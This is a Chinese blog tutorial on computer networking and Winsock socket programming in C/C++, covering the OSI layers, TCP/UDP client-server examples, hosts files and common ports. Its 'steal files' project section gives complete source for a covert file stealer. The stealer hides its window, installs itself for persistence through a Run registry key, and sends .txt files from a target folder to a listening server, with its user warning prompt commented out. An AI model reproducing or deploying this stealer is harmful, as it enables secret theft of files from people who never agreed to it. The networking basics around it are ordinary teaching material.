OSI参考模型
Open System Interconnect 开放式系统
- 每层网络的由来
物理层:010101比特流,设备之间原始数据的传输,数模转换(发送端)和模数转换(接收端)
-》传输过程可能出现错码和误码?
数据链路层:将原始比特流转换成逻辑传输符号,提供纠错编码,格式变为帧
-》出现多个网络节点,应该选择哪个节点?
网络层:通过路由选择,选择最佳路径,数据格式是IP数据包
-》某次连接传输的数据可能很大,会出现错传、漏传
传输层:将数据拆分成段,提供维护连接的机制(流量控制、拥塞控制)
-》对用户来说每次都要使用传输层拆分,再使用网络层寻路很麻烦
会话层:提供建立连接和维护连接的机制,方便用户使用
-》不同操作系统之间的网络传输如何互通?linux/windows
表示层:提供编码转换、加解密、解压缩
-》接收方不知道发送发发送的是什么东西、数据有多长?
应用层:规定发送方和接收方必须使用固定长度的消息头,并且消息头固定格式,并标明长度等信息。
网络架构
B/S(Browser/Server)
browser(client) - web server - sql(Structured Query Language server database)
通过web服务器中转操作
在全球网络化时运应而生,是三层C/S架构 客户端 - 应用服务器 - 数据库
C/S (Client/Server)
两层架构 客户端 - 数据库
点对点的模式,适用于局域网
-
Client:
-
Server:
ip/port
IP(internatinal)
port (IP的细分): 2 16 ( 65536 ) 2^{16}(65536) 216(65536)个
0-1023被用作知名服务器端口 FTP(file) 21/HTTP/SMTP(Simple Mail )
相当于机器(ip)跟按钮(port) 而某些必要按钮(开关,挡位)被定在公认端口
TCP/UDP
TCP(Transmission Control Protocol) : 按顺序分批传输,会因为部分数据在等待而浪费时间,在每次传输后都需要验证是否正确,再确定是重发或者下一个,不存在数据边界(数组越界那种,因为传输的数据量大小由客户端决定,量达标了就停止传输
UDP(UserDatagramProtocol) : 传输大小由服务端决定,所以存在数据边界,因为不按顺序,就不会有很多数据进入无效等待,见缝插针,传送数据就会更快,但因为网络原因,传输的数据可能丢失,最后会进行一次校验
TCP相当于打电话,稳定,聊天,文件传输
UDP相当于发邮件,但是更快,音视频
socket
原理
socket详解
套接字,是一个网络连接设备
起源于Unix/Linux的基本哲学一切皆文件,都可以打开open –> 读写write/read –> 关闭close模式来操作。
socket就是一种特殊的文件,通过socket函数进行读/写IO、打开、关闭
为了解决网络进程间交互的一个工具
- 本地进程间的通信
标记进程 : pid - 物质
- 网络通信
标记进程: 网络层 ip标识主机 传输层 protocol和port来标记主机中的进程(应用程序)
使用步骤
-
socket(bind)/closesocket 创建/关闭
-
connect/listen/accept 连接
-
send/recv,sendto/recvfrom传输(read/write)
- listen详解
listen(sockSrv, 5) listen有一个connect消息的队列,而5就是最大监听数目
当同时的请求大于5时,后面的因为无法进入队列,从而失败(只有当队列中有空位时,后续的才有效)
可以通过在server中的listen后添加sleep(10000)来进行测试
- 数据结构
用来标识地址
struct sockaddr {//操作系统使用
u_short sa_family; //16位地址类型 2字节
char sa_data[14]; //14字节地址数据:ip + port
};
struct sockaddr_in {//我们使用的
short sin_family; //16位地址类型
u_short sin_port; //16位端口号 65535 2的16次方
struct in_addr sin_addr; //32位IP地址 4字节
char sin_zero[8]; //8字节填充为0
};
address family(AF) 家族类 来确定地址类型 : ipv4或者ipv6或(vpnv4?)
s : specify指定 in : indicate表明 6 : ipv6 (v:version) addr : address sa : sockaddr
原理代码
基本步骤
//Todo : socket bind listen accept read write close
//初始化
WSADATA data;
WSAStartup(MAKEWORD(1, 1), &data);
SOCKET serv_sock = socket(PF_INET, SOCK_STREAM, 0);
//绑定地址
sockaddr_in serv_adr{}, client_adr{};
serv_adr.sin_family = AF_INET;
serv_adr.sin_addr.s_addr = INADDR_ANY;
serv_adr.sin_port = htons(9527);
bind(serv_sock, (sockaddr*)&serv_adr, sizeof(serv_adr));
//收发
listen(serv_sock, 1);
char buffer[1024];
int cli_sz = sizeof(client_adr);
SOCKET client = accept(serv_sock, (sockaddr*)&client_adr, &cli_sz);
recv(client, buffer, sizeof(buffer), 0);
send(client, buffer, sizeof(buffer), 0);
// 关闭
closesocket(serv_sock);
WSACleanup();
初始化
都需要先初始化socket库,然后进行绑定,服务端和客户端有所不同
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用
int main()
{
//0.初始化网络库和socket库
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
//1.创建socket并检查,初始化
SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
....................................
//主要代码块
....................................
closesocket(sockCli);
WSACleanup();
system("pause");
return 0;
}
地址绑定
服务端
SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//host to net long
addrSrv.sin_port = htons(6000);//s : short
if(SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("bind error =%d\n", GetLastError());
return -1;
}
客户端
SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = inet_addr("192.168.6.1");//配置要连接的服务器
addrSrv.sin_port = htons(6000);
错误处理
大概这总格式
std::string GetErrorInfo(int wsaErrCode)
{
std::string ret;
LPVOID lpMsgBuf = NULL;
FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER,//从系统拿到消息,自动分配缓冲区
NULL,
wsaErrCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),//适配系统语言
(LPTSTR)&lpMsgBuf, 0, NULL);
ret = (char*)lpMsgBuf;
LocalFree(lpMsgBuf);
return ret;
}
TRACE("连接失败:%d %s\n", WSAGetLastError(), GetErrorInfo(WSAGetLastError()).c_str());
效果
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用
int main()
{
//0.初始化网络库和socket库
#if 1
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);//windows api start up
if (err != 0)
{
printf("WSAStartup errorNum = %d\n", GetLastError());
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();//工具->错误查找->输入错误代码
system("pause");
return -1;
}
#endif
//1.创建socket并检查,初始化
SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);//0表示不需要调用方使用
if (INVALID_SOCKET == sockCli)
{
printf("socket errorNo = %d\n", GetLastError());
return -1;
}
....................................
//主要代码块
....................................
closesocket(sockCli);
WSACleanup();
system("pause");
return 0;
}
实现TCP/UDP
TCP
服务端
主机监听,接受连接,分配资源(再建立一个socket来连接分机)
//监听
listen(sockSrv, 3)
//建立分机处理
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR);
while (TRUE)
{
printf("begin accept\n");
SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli,&len);
//参数2是一个指向接受实体(entity)地址的缓冲区(buffer)指针,称为通信层(communications layer)
//printf("end accept\n");
//2.2连接完成,收发数据
char sendBuf[100] = { 0 };
sprintf_s(sendBuf, 100, "welcome %s to China!",inet_ntoa(addrCli.sin_addr));//a是字符串
int iLen = send(sockConn, sendBuf, strlen(sendBuf), 0);
char recvBuf[100] = { 0 };
iLen = recv(sockConn, recvBuf, 100, 0);
printf("recBuf = %s\n", recvBuf);
closesocket(sockConn);
}
客户端
//连接服务器
connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))
//收发数据
char recvBuf[100] = { 0 };
int iLen = recv(sockCli, recvBuf, 100, 0);
printf("recvBuf= %s\n", recvBuf);
char sendBuf[100]="hello";
iLen = send(sockCli,(char*) sendBuf, 100, 0);
UDP
服务端
SOCKADDR_IN addCli;
int len = sizeof(SOCKADDR_IN);
char recvBuf[100];
char sendBuf[100]="hello UDP client";
while (1)
{
recvfrom(sockSrv, recvBuf, 100, 0, ( SOCKADDR*)&addrSrv, &len);
cout << recvBuf << endl;
sprintf_s(sendBuf, 100, "%s", recvBuf);
sendto(sockSrv, sendBuf, strlen(sendBuf)+1, 0, (SOCKADDR*)&addrCli, len);
}
客户端
int len = sizeof(SOCKADDR);
char sendBuf[100] = "hello UDP server";
char recvBuf[100] = { };
sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)(&addrSrv), len);
recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)(&addrSrv), &len);
printf("%s\n", recvBuf);
窃取文件(项目)
设计
服务端 : 接受数据就行
客户端 : 读取文件 发送数据 添加到注册表到开机自启 隐藏当前窗口
实现
服务端
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
#define MAX_SIZE 1024
void ErrorHanding(const char* msg)//检查错误的函数
{
fputs(msg, stderr);
fputc('\n', stderr);
exit(1);
}
int main()
{
printf("Steal server\n");
//0.初始化网络库,选择使用库的版本
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
//windows api start up 用wVersionRequested的信息来进行初始化,并将结果存放的wsaData中,用于检查
if (err != 0)
{
printf("WSAStartup errorNum = %d\n", GetLastError());
return err;//GetLastError()得到错误代码后,工具->错误查找->输入错误代码
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
return -1;
}
//1.构建连接
//函数不会使用?鼠标选中函数后,按F1
//1.1创建socket
SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);//INET internet Srv : server
if (INVALID_SOCKET == sockSrv) ErrorHanding("socket error");
//1.2初始化地址
SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;//AF_INET6 internetwork: UDP, TCP, etc. AF:address family
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
//host to net long ipv4地址占四个字节,即long
//INADDR_ANY表示不定地址,任意地址,即表示监听所有信息,即socket服务器只需要绑定端口
addrSrv.sin_port = htons(6000);//s : short 端口占两个字节
//1.3socket与地址进行绑定
if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))ErrorHanding("bind error");
//连接
//2.1主机监听连接,分配资源
if (SOCKET_ERROR == listen(sockSrv, 5))ErrorHanding("listen");
//2.2子机创建socket,并创建msg来读取数据
SOCKET sockCli;
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR_IN);//accept需要指针
char msg[MAX_SIZE]={0};
int strlen = 0;
while(1)
{
memset(msg, 0, MAX_SIZE);//将msg的前MAX_SIZE个数据都设成0
sockCli = accept(sockSrv, (SOCKADDR*)&addrCli, &len);//接受数据,并检查
if (SOCKET_ERROR == sockCli)ErrorHanding("accept error");
while (strlen = recv(sockCli, msg, MAX_SIZE, 0) != 0) puts(msg);//打印接收到的数据
closesocket(sockCli);//关闭分机
}
closesocket(sockSrv);
WSACleanup();
system("pause");//选中函数alt+G查看包含它的头文件
}
客户端
#include <windows.h>//包含winsock2.h,不要再导入,否则重定义
#include <stdio.h>
#include <io.h>//用于注册表相关的
#pragma comment (lib,"ws2_32.lib")
int SendtoServer(const char* path);//发送数据到服务端
int DoSteal(const char* szPath);//窃取数据
void AddToSystem();//添加到注册表,需要管理员权限
void HideMyself();//隐藏当前窗口
int main()
{
printf("Steal\n");
HideMyself();
AddToSystem();
DoSteal("D:\\code\\stealtest\\");//注意要末尾的'\\'
int a = 0;
scanf("%d", a);
}
int SendtoServer(const char* path)
{//1.连接服务器 2.读取文件到sendbuf并发送到服务器 3.关机
printf("steal Client\n");
#if 1
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
printf("WSAStartup errorNum = %d\n", GetLastError());
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
return -1;
}
#endif
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockCli)
{
printf("socket error=%d\n", GetLastError());
return -1;
}
SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//本地地址,也可cmd ipconfig查询
addrSrv.sin_port = htons(6000);
//以上与server基本一致
//连接服务器
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("connect error =%d\n", GetLastError());
return -1;
}
//读取文件内容,存放到sendbuf中
char sendBuf[1024]{ 0 };//初始化为0是为了防止保证'\0',以免出现烫烫烫
FILE* fp;
fp = fopen(path, "rb");
int len = fread(sendBuf, 1, 1024, fp);//(存放位置,每个单位的字节大小,总长度,FILE*)
fclose(fp);
//发送sendbuf,注意结尾的0
int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);//多一个字节放'\0'
if (iLen < 0)//检查
{
printf("send errorNum = %d\n", GetLastError());
system("pause");
return -1;
}
closesocket(sockCli);
WSACleanup();
}
int DoSteal(const char* szPath)//search zero path 传入的文件路径
{//遍历完所有文件,将*.txt交给sender处理,遍历分两步1.找到第一个2.后面的所有
WIN32_FIND_DATA FindFileData;//这个结构体包含了很多文件的信息alt+G查看
HANDLE hListFile;//文件用句柄标识
//szFilePath用来寻找第一个文件,并将句柄存放到FindFileData
char szFilePath[MAX_PATH] = { 0 };//涉及路径的字符数组长度,无脑 MAX_PATH 260
strcpy(szFilePath, szPath);//c/c++老函数1,禁用特定警告4996
strcat(szFilePath, "\\*");
hListFile = FindFirstFile(szFilePath, &FindFileData);
do
{ //利用FindFileData 与 FindNextFile 遍历完目录下所有文件,每次都用mypath来存放
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, szPath);
strcat(mypath, FindFileData.cFileName);
printf("%s\n", mypath);// \.表示当前目录 \..表示父目录
if (strstr(mypath, ".txt"))//未找到返回NULL
{
SendtoServer(mypath);
}
} while (FindNextFile(hListFile, &FindFileData));
return 0;
}
void AddToSystem()
{//每次使用只需要改变125行的那个
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit : register edit win + R
GetSystemDirectory(SysPath, size);
GetModuleFileName(NULL, CurrentPath, size);
FileCurrentName = CurrentPath;
FileNewName = lstrcat(SysPath, "\\mysteal.exe");//每次使用时,只需要改变这个
struct _finddata_t Steal;
printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if (_findfirst(FileNewName, &Steal) != -1)
return;//已经安装!
printf("ret2 = %d\n", ret);
//int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
//if (ihow == IDCANCEL)
// exit(0);
//if (ihow == IDNO)
// return;//只运行一次
//复制文件
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret)
{
return;
}
//加入注册表
printf("ret = %d\n", ret);
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
//Set Key
ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
RegCloseKey(hKEY);
}
void HideMyself()
{
// 拿到当前的窗口句柄
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
hosts
域名需要翻译称ip第地址,而翻译有两步,先查找本机的hosts文件,再通过DNS来寻找ip
修改hosts文件
- everything搜索hosts 管理员权限打开
- 两个格式
- 行首为#的为注释
- 修改格式ip+空格+域名 如0.0.0.0 www.bilibili.com 域名要加上www. 不需要https协议
常见端口
网络常用端口与协议
HTTP: 80 www服务。
DHCP:服务器端的端口号是67
DHCP:客户机端的端口号是68
POP3:POP3仅仅是接收协议,POP3客户端使用SMTP向服务器发送邮件。POP3所用的端口号是110。
SMTP: 端口号是25。SMTP真正关心的不是邮件如何被传送,而只关心邮件是否能顺利到达目的地。SMTP具有健壮的邮件处理特性,这种特性允许邮件依据一定标 准自动路由,SMTP具有当邮件地址不存在时立即通知用户的能力,并且具有在一定时间内将不可传输的邮件返回发送方的特点。
Telnet:端口号是23。Telnet是一种最老的Internet应用,起源于ARPNET。它的名字是“电信网络协议(Telecommunication Network Protocol)”的缩写。
FTP:FTP使用的端口有20和21。20端口用于数据传输,21端口用于控制信令的传输,控制信息和数据能够同时传输,这是FTP的特殊这处。FTP采用的是TCP连接。
TFTP:端口号69,使用的是UDP的连接。
DNS:53,名称服务
NetBIOS: 137,138,139,其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得 NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。
NNTP 网络新闻传输协议:119
SNMP(Simple Network Management Protocol)(简单网络管理协议):161端口
RPC(Remote Procedure Call)(远程过程调用)服务:135端口
QQ:使用8000(服务端)和4000端口(客户端)
21 端口:21 端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。
23 端口:23 端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序,最初设计被用来方便管理员远程管理计算机,可现在真正将其发挥到极致的是"黑客"!
25 端口:25 端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如今绝大多数邮件服务器都使用该协议。
53 端口:53 端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS 服务在NT 系统中使用的最为广泛。
67、68 端口:67、68 端口分别是为Bootp 服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap Protocol Client(引导程序协议客户端)开放的端口。
69 端口:TFTP 是Cisco 公司开发的一个简单文件传输协议,类似于FTP。
79 端口:79 端口是为Finger 服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。
80 端口:80 端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。
99 端口:99 端口是用于一个名为“Metagram Relay”(亚对策延时)的服务,该服务比较少见,一般是用不到的。
109、110 端口:109 端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,110 端口是为POP3(邮件协议3)服务开放的,POP2、POP3 都是主要用于接收邮件的。
111 端口:111 端口是SUN 公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC 在多种网络服务中都是很重要的组件。
113 端口:113 端口主要用于Windows 的“Authentication Service”(验证服务)。
119 端口:119 端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。
135 端口:135 端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。
137 端口:137 端口主要用于“NetBIOS Name Service”(NetBIOS名称服务)。
139 端口:139 端口是为“NetBIOS Session Service”提供的,主要用于提供Windows 文件和打印机共享以及Unix 中的Samba 服务。
143 端口:143 端口主要是用于“Internet Message Access Protocol”v2(Internet 消息访问协议,简称IMAP)。
161 端口:161 端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。
443 端口:443 端口即网页浏览端口,主要是用于HTTPS 服务,是提供加密和通过安全端口传输的另一种HTTP。
554 端口:554 端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。
1024 端口:1024 端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。
1080 端口:1080 端口是Socks 代理服务使用的端口,大家平时上网使用的WWW 服务使用的是HTTP 协议的代理服务。
1755 端口:1755 端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。文章来源:https://www.toymoban.com/news/detail-769181.html
3389端口:远程桌面 (嘿嘿!3389入侵就是用的这个口)文章来源地址https://www.toymoban.com/news/detail-769181.html
到了这里,关于socket的基本使用,基于TCP/UDP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!